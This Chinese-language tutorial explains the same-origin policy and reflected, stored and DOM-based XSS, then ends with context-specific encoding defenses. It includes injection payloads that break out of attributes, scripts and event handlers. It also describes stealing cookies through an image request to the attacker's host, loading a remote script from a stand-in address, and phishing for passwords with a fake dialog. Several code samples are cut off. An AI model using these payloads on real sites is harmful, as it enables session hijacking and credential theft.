同源策略
什么是源,怎样算同源
源就是主机,协议,端口名的一个三元组。
当两个url中,协议,主机,端口这三个一致时,这两个页面才能算同源
那么这种限制有什么作用呢?同源策略主要是限制了页面最后那个的脚本从另一个源加载资源时的行为,这对于防范恶意页面是一种很好的防御机制,如果恶意脚本请求了非同源的一个东西,那么这种行为就很可能因为同源策略的限制被浏览器拒绝,从而在某种程度上缓解了攻击。
同源策略不是不允许脚本执行,而是禁止读取HTTP回复
什么是xss
xss即跨站脚本,发生在目标网站中目标用户的浏览器层面上,当用户浏览器渲染整个HTML文档过程中,出现的原本不应该出现的脚本指令,并执行时,xss就会出现。
简单来说,就是控制网站的输出参数,使得我们自己的js代码可以在目标网页上执行,达到我们的目的。
反射型xss
example:
1 | <!DOCTYPE html> |
对提交的参数,没有经过过滤直接输出
通常可以使用alert(1)
来测试,如果弹窗就说明js代码执行了,那么把alert(1)
换成其余的js代码也就可以执行了,所以一般用弹窗来
反射型xss(也叫非持久型xss),发出请求时,XSS代码出现在url中,作为输入提交到服务器,服务器解析后响应,在响应内容中出现该XSS代码,最后由浏览器解析执行。
反射型xss一般出现在URL参数中及网站搜索栏中,需要目标用户点击才可触发。
存储型XSS
存储型XSS与反射型XSS的差别仅在于:提交的XSS代码会保存在服务器中(sql数据库中,文件中等等),在下一次进入目标页面时不用在提交代码。用户在浏览该站点时,自己的信息就被盗取。
例如留言板XSS,用户在提交一条包含XSS代码的留言存储到数据库,当目标用户来查看留言板时,那些代码会随着留言内容被查询出来并显示,浏览器发现有XSS代码,就会当做正常的HTML代码和js代码执行,触发XSS攻击。
存储型XSS一般出现在网站的留言板,评论处,个人资料处,等需要用户对网站写入数据的地方,目标用户进入网站即触发漏洞
DOM型XSS
与反射型XSS、存储型XSS的区别就在于dom型xss代码并不需要服务器解析响应的直接参与,触发XSS靠的是浏览器端的DOM解析。
和反射型XSS很相似。dom型XSS与后台不会有交互,DOM型XSS的实现都是在前台。
1 |
|
可以看到,当我们点击click按钮后,会在当前页面插入一个超链接,其地址为文本框的内容,在这里click按钮的onclick事件调用了hello()函数,修改了页面的DOM节点,通过innerHTML将用户的数据写入了HTML页面里,造成了DOM型XSS的出现。
HTML DOM事件:https://www.runoob.com/jsref/dom-obj-event.html
XSS能干什么
Cookie劫持
我们之前在CSRF中已经说过cookie了。cookie就是登录凭证,有了cookie就约等于有了账号使用权。xss攻击成功之后,攻击者可以执行任意的js代码,所以js可以干什么,我们就可以干什么,例如读取用户cookie,然后去访问远程主机,这样我们就可以在日志中看到cookie了,或者也可以写一个脚本专门打开一个txt文件去记录cookie。
前面我们说过同源策略,不过有一些标签是不受同源策略限制的,例如<img> <link> <iframe>
等带src
属性的标签(同源策略对src属性的标签限制了 不能读,写返回的内容),这时候我们可以读取cookie,然后作为一个参数用get请求发过去。
1 | var a = document.createElement("img") |
这么长的代码放url中肯定不合适,所以我们可以写一个js脚本,然后远程加载它。
1 | http://abc.com/test.html?a=123"> <script src=http://127.0.0.1/xx.js></script> |
这里顺便说下同源策略,由于这个js是由http://abc.com/test.html
加载的,所以它属于这个源,而我给的http://127.0.0.1/xx.js
只是它的存放地址。
上面我给的是日志中查看cookie,其实我们也可以写一个文件专门接收cookie。
1 |
|
XSS钓鱼
有时我们获取不到用户的cookie,可以转而利用一个假的对话框,让用户认为是服务器的请求,从而输入密码,在将该密码发到我们的主机上,这时我们就可以在日志中查看用户的账号密码了。
XSS收集信息
有时候我们为了获取更多的用户信息,可以查看用户安装的浏览器,操作系统,软件等等。从而进行攻击。
例如我们可以通过js直接获取用户的浏览器信息。
1 | alert(navigator.userAgent) |
其实这个结果也没有那么准确,因为firefox有很多插件可以修改userAgent。但是我们有时候打开F12查看源码的时候经常可以看到这样的代码。
所以我们可以利用同样的思路找更多独特的浏览器对象,以更精确的获取用户浏览器信息。
XSS防御
输入检测
输入检测很多时候也被用于格式检测,例如要求注册名只能是数字和字母的组合,或者电话栏只能是不长与16位的纯数字,等等。这种检测机制有点类似与白名单。
输入检测一般都是检测用户输入的数据中是否包含特殊字符,例如< > ' "
等,如果发现特殊字符,就把这些字符过滤,或者检测一些敏感字符,<script> javascript
等。
不过输入检测会存在一定的问题,因为我们检测在用户输入之后,对数据进行一系列的检测,过滤,那么就存在语境问题,导致一些用户本来的操作被曲解改变。
输出检测
输出检测的主要就是转义问题,但是仅仅只使用一种类型的转义是不够的。如果只利用一种转义,那么在不同的环境也就存在了绕过的可能,而且也会造成像输入检测一样的问题,操作被曲解。
HTML标签中输出
1 | <div>$xss</div> |
在这中情况之下,我们就可以构造<script>
标签,或者任何能够产生脚本的操作。
1 | <div><script> |
针对这种的防御办法就是对其使用HtmlEncode。
HTML属性中输出
1 | <div id="xxx" name="$xss"></div> |
这种和上一种是一样的,可能使用的攻击办法还是
1 | <div id="xxx" name=""><script> alert(1) </script>//"></div> |
防御的方法还是使用HtmlEncode或者更严格的HtmlEntites(除字母,数字外全部转义)
在<script>
标签中输出
1 | <script> |
这种在标签中输出,首要问题就是闭合双引号,让变量逃逸出来。
1 | <script> |
防御时使用JavascriptEncode转义
在事件中输出
在事件中输出,和在<script>
标签中输出很相似。
1 | <a href = # onclike="funcA('$xss')" >test</a> |
还是进行逃逸单引号
1 | <a href = # onclike="funcA('');alert(1); //'" >test</a> |
防御时使用JavascriptEncode转义
地址中输出
在url中输出,一般是在url的path和search中输出;使用URLEncode就可以了。
1 | <a herf ="http://www.abc.com/?a=$xss ">test </a> |
存在的攻击方法
1 | <a herf ="http://www.abc.com/?a=" onclick=alert(1)" ">test </a> |
使用URLEncode即可。但是如果可控全部的url,那就存在问题了,因为URLEncode也会过滤: .
等字符,造成url错误。
1 | <a href= "$xss" >test</a> |
这时候可以使用一些伪协议进行攻击
1 | <a href="javascript:alert(1);">test</a> |
除了javascript伪协议,还可以使用vbscript dataURI 等伪协议。可以导致脚本执行。
所以这时候可以先检测是否是http或者https 开头的,在对之后的变量进行URLEncode,确保不存在伪协议攻击。